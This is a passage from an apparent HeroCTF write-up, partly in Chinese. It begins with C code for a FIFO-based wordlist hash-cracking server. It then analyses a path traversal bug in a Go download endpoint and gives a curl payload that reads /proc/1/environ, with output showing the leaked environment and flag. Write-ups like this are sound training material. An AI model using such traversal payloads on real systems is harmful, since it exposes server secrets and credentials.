printf("Trying: '%s' -> %s (target %s)\n", pw, output_hex, hash_str);
fflush(stdout);
if (memcmp(output_bin, hash_bin, output_len) == 0) {
dprintf(outfd, "SUCCESS:%s\n", pw);
printf("SUCCESS: hash(%s) == %s\n", pw, hash_str);
found = 1;
break;
}
}
if (!found) {
dprintf(outfd, "ERROR:password not found\n");
printf("ERROR:Password not found for %s\n", hash_str);
}
close(outfd);
fclose(wordlist);
}
int main(void) {
atexit(cleanup_fifos);
signal(SIGINT, signal_handler);
signal(SIGTERM, signal_handler);
cleanup_fifos();
if (mkfifo(FIFO_IN, 0666) < 0) {
if (errno != EEXIST) {
perror("mkfifo FIFO_IN");
return 1;
}
}
if (mkfifo(FIFO_OUT, 0666) < 0) {
if (errno != EEXIST) {
perror("mkfifo FIFO_OUT");
unlink(FIFO_IN);
return 1;
}
}
chmod(FIFO_IN, 0666);
chmod(FIFO_OUT, 0666);
printf("Hash server listening on FIFOs:\n IN: %s\n OUT: %s\n", FIFO_IN, FIFO_OUT);
printf("Protocol: write a request (three lines) to %s and read the single-line response from %s\n", FIFO_IN, FIFO_OUT);
printf("Request format (text lines):\n <algo_type>\n <hash_hex>\n <wordlist_path>\n");
printf("Notes: Clients should open %s for reading before (or concurrently with) writing the request\n", FIFO_OUT);
fflush(stdout);
const size_t BUF_SZ = 16 * 1024;
char *buf = malloc(BUF_SZ);
if (!buf) {
perror("malloc");
cleanup_fifos();
return 1;
}
while (!stop_flag) {
int infd = open(FIFO_IN, O_RDONLY);
if (infd < 0) {
if (stop_flag) break;
perror("open FIFO_IN for read");
sleep(1);
continue;
}
ssize_t total = 0;
while (total < (ssize_t)(BUF_SZ - 1)) {
ssize_t r = read(infd, buf + total, BUF_SZ - 1 - total);
if (r < 0) {
if (errno == EINTR) continue;
perror("read FIFO_IN");
break;
} else if (r == 0) {
break;
}
total += r;
}
close(infd);
if (total <= 0) {
continue;
}
buf[total] = '\0';
char *lines[4] = {0};
size_t linec = 0;
char *p = buf;
while (*p && linec < 4) {
// skip leading CR/LF
while (*p == '\r' || *p == '\n') p++;
if (*p == '\0') break;
lines[linec++] = p;
char *nl = strpbrk(p, "\r\n");
if (!nl) break;
*nl = '\0';
p = nl + 1;
}
if (linec < 3) {
fprintf(stderr, "Invalid request: expected 3 lines, got %zu\n", linec);
int outfd = open(FIFO_OUT, O_WRONLY | O_NONBLOCK);
if (outfd >= 0) {
dprintf(outfd, "ERROR:invalid request: expected 3 lines, got %zu\n", linec);
close(outfd);
}
continue;
}
const char *algo_type_str = lines[0];
const char *hash_str = lines[1];
const char *wordlist_str = lines[2];
pid_t pid = fork();
if (pid < 0) {
perror("fork");
int outfd = open(FIFO_OUT, O_WRONLY | O_NONBLOCK);
if (outfd >= 0) {
dprintf(outfd, "ERROR:server fork failed\n");
close(outfd);
}
continue;
} else if (pid == 0) {
signal(SIGINT, SIG_DFL);
signal(SIGTERM, SIG_DFL);
handle_request(algo_type_str, hash_str, wordlist_str);
_exit(0);
}
}
free(buf);
cleanup_fifos();
return 0;
}
通过代码分析,主要漏洞点在/api/wordlist/download中存在路径遍历,因为在HandleDownloadWordlist 函数中,没有使用 path.Base() 过滤文件名,导致可以遍历目录,通过路径遍历读取环境变量
bash
filePath := filepath.Join(wordlistDir, json.Filename)
构造payload
bash
└─# curl -X POST http://x.x.x.x:14423/api/wordlist/download \
-H "Content-Type: application/json" \
-d '{"filename":"../../../../proc/1/environ"}' | strings
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 345 100 304 100 41 890 120 --:--:-- --:--:-- --:--:-- 1008
{"content":"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000HOSTNAME=paf_traversal\u0000FLAG=Hero{e9e2b63a0daa9ee41d2133b450425b2cd7c7510e5a28b655748456bd3f6e5c2a}\u0000DEPLOY_HOST=dyn12.heroctf.fr\u0000DEPLOY_PORTS=8000/tcp-\u003e14423\u0000HOME=/app/\u0000","filename":"environ"}
# 可以看到FLAG=Hero{e9e2b63a0daa9ee41d2133b450425b2cd7c7510e5a28b655748456bd3f6e5c2a}